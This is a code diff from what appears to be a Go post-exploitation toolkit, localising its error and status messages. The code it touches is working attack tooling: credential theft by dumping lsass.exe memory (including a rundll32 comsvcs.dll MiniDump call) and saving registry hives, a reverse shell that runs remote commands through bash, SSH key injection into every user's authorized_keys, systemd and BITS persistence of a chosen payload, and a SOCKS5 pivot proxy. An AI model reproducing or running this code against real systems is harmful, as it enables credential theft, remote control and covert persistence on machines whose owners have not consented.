return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))}
}
func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder) bool {
pid, err := pm.findProcess("lsass.exe")
if err != nil {
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
return false
}
if privErr := pm.elevatePrivileges(); privErr != nil {
output.WriteString(fmt.Sprintf(" 权限提升失败: %v\n", privErr))
output.WriteString(i18n.Tr("minidump_privilege_failed", privErr) + "\n")
return false
}
@@ -150,18 +150,18 @@ func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager,
defer cancel()
if err := pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath); err != nil {
output.WriteString(fmt.Sprintf(" 直接dump失败: %v\n", err))
output.WriteString(i18n.Tr("minidump_direct_failed", err) + "\n")
os.Remove(outputPath)
return false
}
return p.reportSuccess(output, outputPath, "直接内存转储")
return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"))
}
func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder) bool {
pid, err := pm.findProcess("lsass.exe")
if err != nil {
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
return false
}
@@ -171,7 +171,7 @@ func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Buil
cmd := exec.Command("rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll,", "MiniDump",
fmt.Sprintf("%d", pid), outputPath, "full")
if err := cmd.Run(); err != nil {
output.WriteString(fmt.Sprintf(" comsvcs.dll失败: %v\n", err))
output.WriteString(i18n.Tr("minidump_comsvcs_failed", err) + "\n")
return false
}
@@ -193,12 +193,12 @@ func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool {
saved++
}
} else {
output.WriteString(fmt.Sprintf(" ✗ %s 导出失败\n", hive))
output.WriteString(i18n.Tr("minidump_hive_export_failed", hive) + "\n")
}
}
if saved == 3 {
output.WriteString("[+] 注册表 hive 导出完成,可用 secretsdump 离线解析\n")
output.WriteString(i18n.GetText("minidump_regsave_done") + "\n")
common.LogSuccess(i18n.Tr("minidump_regsave_success"))
return true
}
@@ -210,7 +210,7 @@ func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method str
if err != nil || fi.Size() == 0 {
return false
}
output.WriteString(fmt.Sprintf("[+] %s成功: %s (%d bytes)\n", method, path, fi.Size()))
output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n")
common.LogSuccess(i18n.Tr("minidump_success", path, fi.Size()))
return true
}
@@ -219,17 +219,17 @@ func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method str
func (p *MiniDumpPlugin) loadSystemDLLs() error {
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return fmt.Errorf("加载 kernel32.dll 失败: %w", err)
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "kernel32.dll"), err)
}
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
return fmt.Errorf("加载 Dbghelp.dll 失败: %w", err)
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "Dbghelp.dll"), err)
}
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
return fmt.Errorf("加载 advapi32.dll 失败: %w", err)
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "advapi32.dll"), err)
}
p.kernel32 = kernel32
@@ -285,14 +285,14 @@ func (pm *ProcessManager) findProcess(name string) (uint32, error) {
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
if err != nil {
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateToolhelp32Snapshot"), err)
}
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
lastError := windows.GetLastError()
//nolint:errorlint // Windows LastError不应该wrapped
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
return 0, fmt.Errorf(i18n.GetText("minidump_snapshot_create_failed")+": %v (LastError: %d)", err, lastError)
}
return handle, nil
}
@@ -304,29 +304,29 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
if err != nil {
return 0, fmt.Errorf("查找Process32FirstW函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32FirstW"), err)
}
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
if err != nil {
return 0, fmt.Errorf("查找Process32NextW函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32NextW"), err)
}
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
if err != nil {
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "lstrcmpiW"), err)
}
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
//nolint:errorlint // Windows LastError不应该wrapped
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", windows.GetLastError())
return 0, fmt.Errorf(i18n.GetText("minidump_first_process_failed")+" (LastError: %d)", windows.GetLastError())
}
for {
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil {
return 0, fmt.Errorf("转换进程名失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.GetText("minidump_process_name_convert_failed"), err)
}
ret, _, _ = lstrcmpi.Call(
@@ -344,7 +344,7 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (
}
}
return 0, fmt.Errorf("未找到进程: %s", name)
return 0, fmt.Errorf("%s", i18n.Tr("minidump_process_not_found", name))
}
// elevatePrivileges 提升权限
@@ -357,7 +357,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("minidump_open_process_token_failed"), err)
}
defer func() { _ = token.Close() }()
@@ -365,7 +365,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege")
if err != nil {
return fmt.Errorf("转换权限名称失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("minidump_privilege_name_convert_failed"), err)
}
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
@@ -375,7 +375,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("minidump_lookup_privilege_failed"), err)
}
tokenPrivileges.PrivilegeCount = 1
@@ -389,7 +389,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
0, 0, 0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("minidump_adjust_token_failed"), err)
}
return nil
@@ -400,7 +400,7 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
return 0, fmt.Errorf("%s", i18n.GetText("minidump_current_process_failed"))
}
return syscall.Handle(handle), nil
}
@@ -417,7 +417,7 @@ func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32
case err := <-resultChan:
return err
case <-ctx.Done():
return fmt.Errorf("内存转储超时 (120秒)")
return fmt.Errorf("%s", i18n.GetText("minidump_timeout"))
}
}
@@ -437,7 +437,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
if err != nil {
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %w", err)
return fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "MiniDumpWriteDump"), err)
}
// 转储类型标志
@@ -480,7 +480,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
if ret == 0 {
//nolint:errorlint // Windows LastError不应该wrapped
return fmt.Errorf("写入转储文件失败 (LastError: %d)", windows.GetLastError())
return fmt.Errorf(i18n.GetText("minidump_write_dump_failed")+" (LastError: %d)", windows.GetLastError())
}
}
@@ -491,14 +491,14 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
proc, err := pm.kernel32.FindProc("OpenProcess")
if err != nil {
return 0, fmt.Errorf("查找OpenProcess函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "OpenProcess"), err)
}
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
lastError := windows.GetLastError()
//nolint:errorlint // Windows LastError不应该wrapped
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
return 0, fmt.Errorf(i18n.GetText("minidump_open_process_failed")+": %v (LastError: %d)", callErr, lastError)
}
return handle, nil
}
@@ -512,7 +512,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
createFile, err := pm.kernel32.FindProc("CreateFileW")
if err != nil {
return 0, fmt.Errorf("查找CreateFileW函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateFileW"), err)
}
handle, _, callErr := createFile.Call(
@@ -527,7 +527,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
if handle == INVALID_HANDLE_VALUE {
lastError := windows.GetLastError()
//nolint:errorlint // Windows LastError不应该wrapped
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
return 0, fmt.Errorf(i18n.GetText("file_create_failed")+": %v (LastError: %d)", callErr, lastError)
}
return handle, nil
+9 -9
View File
@@ -63,14 +63,14 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
port = 4444
}
output.WriteString("=== Go原生反弹Shell ===\n")
output.WriteString(fmt.Sprintf("目标: %s\n", target))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("reverseshell_header") + "\n")
output.WriteString(i18n.Tr("local_target", target) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
// 启动反弹Shell
err = p.startNativeReverseShell(ctx, host, port, state)
if err != nil {
output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err))
output.WriteString(i18n.Tr("reverseshell_error", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -78,7 +78,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
}
}
output.WriteString("✓ 反弹Shell已完成\n")
output.WriteString(i18n.GetText("reverseshell_done") + "\n")
common.LogSuccess(i18n.Tr("reverseshell_complete", target))
return &plugins.Result{
@@ -94,7 +94,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
// 连接到目标
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
if err != nil {
return fmt.Errorf("连接失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
}
defer func() { _ = conn.Close() }()
@@ -141,7 +141,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
if errors.As(err, &netErr) && netErr.Timeout() {
continue
}
return fmt.Errorf("读取命令错误: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("command_read_failed"), err)
}
// 清理命令
@@ -175,13 +175,13 @@ func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
case "linux", "darwin":
cmd = exec.Command("bash", "-c", cmdLine)
default:
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
return i18n.Tr("unsupported_os", runtime.GOOS)
}
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("错误: %v\n%s", err, string(output))
return i18n.Tr("command_error_with_output", err, string(output))
}
return string(output)
+21 -21
View File
@@ -47,16 +47,16 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
port = 1080 // 默认端口
}
output.WriteString("=== SOCKS5代理服务器 ===\n")
output.WriteString(fmt.Sprintf("监听端口: %d\n", port))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("socks5_header") + "\n")
output.WriteString(i18n.Tr("local_listen_port", port) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
common.LogInfo(i18n.Tr("socks5_starting", port))
// 启动SOCKS5代理服务器
err := p.startSocks5Server(ctx, port, state)
if err != nil {
output.WriteString(fmt.Sprintf("SOCKS5代理服务器错误: %v\n", err))
output.WriteString(i18n.Tr("socks5_server_error", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -64,7 +64,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
}
}
output.WriteString("✓ SOCKS5代理已完成\n")
output.WriteString(i18n.GetText("socks5_done") + "\n")
common.LogSuccess(i18n.Tr("socks5_complete", port))
return &plugins.Result{
@@ -80,7 +80,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err)
}
defer func() { _ = listener.Close() }()
@@ -164,18 +164,18 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
buffer := make([]byte, 256)
n, err := conn.Read(buffer)
if err != nil {
return fmt.Errorf("读取握手请求失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err)
}
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
return fmt.Errorf("不支持的SOCKS版本")
return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version"))
}
// 发送握手响应(无认证)
response := []byte{0x05, 0x00} // 版本5,无认证
_, err = conn.Write(response)
if err != nil {
return fmt.Errorf("发送握手响应失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err)
}
return nil
@@ -187,11 +187,11 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
buffer := make([]byte, 256)
n, err := clientConn.Read(buffer)
if err != nil {
return nil, 0, fmt.Errorf("读取连接请求失败: %w", err)
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err)
}
if n < 7 || buffer[0] != 0x05 {
return nil, 0, fmt.Errorf("无效的SOCKS5请求")
return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request"))
}
cmd := buffer[1]
@@ -199,7 +199,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
// 发送不支持的命令响应
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
_, _ = clientConn.Write(response)
return nil, 0, fmt.Errorf("不支持的命令: %d", cmd)
return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_command")+": %d", cmd)
}
// 解析目标地址
@@ -210,23 +210,23 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
switch addrType {
case 0x01: // IPv4
if n < 10 {
return nil, 0, fmt.Errorf("IPv4地址格式错误")
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid"))
}
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
targetPort = int(buffer[8])<<8 + int(buffer[9])
case 0x03: // 域名
if n < 5 {
return nil, 0, fmt.Errorf("域名格式错误")
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid"))
}
domainLen := int(buffer[4])
if n < 5+domainLen+2 {
return nil, 0, fmt.Errorf("域名长度错误")
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid"))
}
targetHost = string(buffer[5 : 5+domainLen])
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
case 0x04: // IPv6
if n < 22 {
return nil, 0, fmt.Errorf("IPv6地址格式错误")
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid"))
}
// IPv6地址解析(简化实现)
targetHost = net.IP(buffer[4:20]).String()
@@ -235,7 +235,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
// 发送不支持的地址类型响应
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
_, _ = clientConn.Write(response)
return nil, 0, fmt.Errorf("不支持的地址类型: %d", addrType)
return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType)
}
// 连接目标服务器
@@ -245,13 +245,13 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
// 发送连接失败响应
response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
_, _ = clientConn.Write(response)
return nil, 0, fmt.Errorf("连接目标服务器失败: %w", err)
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_target_connect_failed"), err)
}
// 获取本地监听端口(从targetConn获取)
localAddr, ok := targetConn.LocalAddr().(*net.TCPAddr)
if !ok {
return nil, 0, fmt.Errorf("无法获取本地地址")
return nil, 0, fmt.Errorf("%s", i18n.GetText("local_address_unavailable"))
}
localPort := localAddr.Port
@@ -269,10 +269,10 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
_, err = clientConn.Write(response)
if err != nil {
_ = targetConn.Close()
return nil, 0, fmt.Errorf("发送成功响应失败: %w", err)
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err)
}
common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr))
common.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr))
return targetConn, localPort, nil
}
+7 -7
View File
@@ -38,31 +38,31 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session
authFile := filepath.Join(sshDir, "authorized_keys")
if err := os.MkdirAll(sshDir, 0700); err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: 无法创建 .ssh 目录: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_mkdir_failed", u.Username, err) + "\n")
continue
}
pubKey, privKey, err := p.generateKeyPair()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: 密钥生成失败: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_generate_failed", u.Username, err) + "\n")
continue
}
// 追加公钥到 authorized_keys
existing, err := os.ReadFile(authFile)
if err != nil && !os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("[失败] %s: 读取 authorized_keys 失败: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_authorized_read_failed", u.Username, err) + "\n")
continue
}
if strings.Contains(string(existing), pubKey) {
output.WriteString(fmt.Sprintf("[跳过] %s: 公钥已存在\n", u.Username))
output.WriteString(i18n.Tr("sshkey_public_exists", u.Username) + "\n")
continue
}
entry := pubKey + "\n"
f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: 无法写入 authorized_keys: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_authorized_write_failed", u.Username, err) + "\n")
continue
}
_, err = f.WriteString(entry)
@@ -74,11 +74,11 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session
// 保存私钥到当前目录
keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519")
if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: 私钥保存失败: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_private_save_failed", u.Username, err) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s: 公钥已注入 %s,私钥保存为 %s\n", u.Username, authFile, keyFile))
output.WriteString(i18n.Tr("sshkey_injected", u.Username, authFile, keyFile) + "\n")
successCount++
}
+23 -23
View File
@@ -38,28 +38,28 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
var output strings.Builder
if runtime.GOOS != "linux" {
output.WriteString("系统服务持久化只支持Linux平台\n")
output.WriteString(i18n.GetText("systemdservice_linux_only") + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
}
}
// 从config获取配置
targetFile := config.PersistenceTargetFile
if targetFile == "" {
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
output.WriteString(i18n.GetText("persistence_file_required") + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("未指定目标文件"),
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -69,7 +69,7 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
// 检查systemctl是否可用
if _, err := exec.LookPath("systemctl"); err != nil {
output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err))
output.WriteString(i18n.Tr("systemctl_unavailable", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -77,59 +77,59 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
}
}
output.WriteString("=== 系统服务持久化 ===\n")
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("systemdservice_header") + "\n")
output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
var successCount int
// 1. 复制文件到服务目录
servicePath, err := p.copyToServicePath(targetFile)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
output.WriteString(i18n.Tr("copy_file_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath))
output.WriteString(i18n.Tr("file_copied_to", servicePath) + "\n")
successCount++
}
// 2. 创建systemd服务文件
serviceFiles, err := p.createSystemdServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err))
output.WriteString(i18n.Tr("systemdservice_create_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", ")))
output.WriteString(i18n.Tr("systemdservice_created", strings.Join(serviceFiles, ", ")) + "\n")
successCount++
}
// 3. 启用并启动服务
err = p.enableAndStartServices(serviceFiles)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err))
output.WriteString(i18n.Tr("systemdservice_start_failed", err) + "\n")
} else {
output.WriteString("✓ 服务已启用并启动\n")
output.WriteString(i18n.GetText("systemdservice_started") + "\n")
successCount++
}
// 4. 创建用户级服务
userServiceFiles, err := p.createUserServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err))
output.WriteString(i18n.Tr("systemdservice_user_create_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", ")))
output.WriteString(i18n.Tr("systemdservice_user_created", strings.Join(userServiceFiles, ", ")) + "\n")
successCount++
}
// 5. 创建定时器服务
err = p.createTimerServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err))
output.WriteString(i18n.Tr("systemdservice_timer_create_failed", err) + "\n")
} else {
output.WriteString("✓ 已创建systemd定时器\n")
output.WriteString(i18n.GetText("systemdservice_timer_created") + "\n")
successCount++
}
// 输出统计
output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n")
if successCount > 0 {
common.LogSuccess(i18n.Tr("systemdservice_success", successCount))
@@ -160,7 +160,7 @@ func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, err
}
if targetDir == "" {
return "", fmt.Errorf("无法创建服务目录")
return "", fmt.Errorf("%s", i18n.GetText("service_dir_create_failed"))
}
// 生成服务可执行文件名
@@ -273,7 +273,7 @@ StandardError=null
}
if len(created) == 0 {
return nil, fmt.Errorf("无法创建任何systemd服务文件")
return nil, fmt.Errorf("%s", i18n.GetText("systemdservice_create_none"))
}
return created, nil
@@ -299,7 +299,7 @@ func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) err
}
if len(errors) > 0 {
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
return fmt.Errorf(i18n.GetText("service_operation_error")+": %s", strings.Join(errors, "; "))
}
return nil
+1 -1
View File
@@ -257,7 +257,7 @@ func (p *SystemInfoPlugin) collectAVInfo() {
}
}
if len(matched) > 0 {
p.logSuccess("systeminfo_antivirus", fmt.Sprintf("%s (%d个进程)", avName, len(matched)))
p.logSuccess("systeminfo_antivirus", i18n.Tr("systeminfo_antivirus_process_count", avName, len(matched)))
for _, proc := range matched {
p.log("systeminfo_av_process", proc)
}
+11 -11
View File
@@ -26,10 +26,10 @@ func NewWinBITSPlugin() *WinBITSPlugin {
func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -41,7 +41,7 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
// 创建任务并提取 GUID
out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] 创建任务: %s\n", strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("winbits_create_task_failed", strings.TrimSpace(string(out))) + "\n")
return &plugins.Result{Success: false, Output: output.String()}
}
@@ -55,29 +55,29 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
}
}
if guid == "" {
output.WriteString("[失败] 无法提取任务 GUID\n")
output.WriteString(i18n.GetText("winbits_guid_extract_failed") + "\n")
return &plugins.Result{Success: false, Output: output.String()}
}
output.WriteString(fmt.Sprintf("[成功] 创建任务: %s (%s)\n", jobName, guid))
output.WriteString(i18n.Tr("winbits_task_created", jobName, guid) + "\n")
steps := []struct {
desc string
args []string
}{
{"添加文件", []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
{"设置回调", []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
{"设置重试", []string{"/SetMinRetryDelay", guid, "60"}},
{"恢复任务", []string{"/resume", guid}},
{i18n.GetText("winbits_add_file"), []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
{i18n.GetText("winbits_set_callback"), []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
{i18n.GetText("winbits_set_retry"), []string{"/SetMinRetryDelay", guid, "60"}},
{i18n.GetText("winbits_resume_task"), []string{"/resume", guid}},
}
successCount := 1
for _, step := range steps {
out, err := exec.Command("bitsadmin", step.args...).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", step.desc, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", step.desc, strings.TrimSpace(string(out))) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", step.desc))
output.WriteString(i18n.Tr("local_step_success", step.desc) + "\n")
successCount++
}
+7 -7
View File
@@ -26,10 +26,10 @@ func NewWinIFEOPlugin() *WinIFEOPlugin {
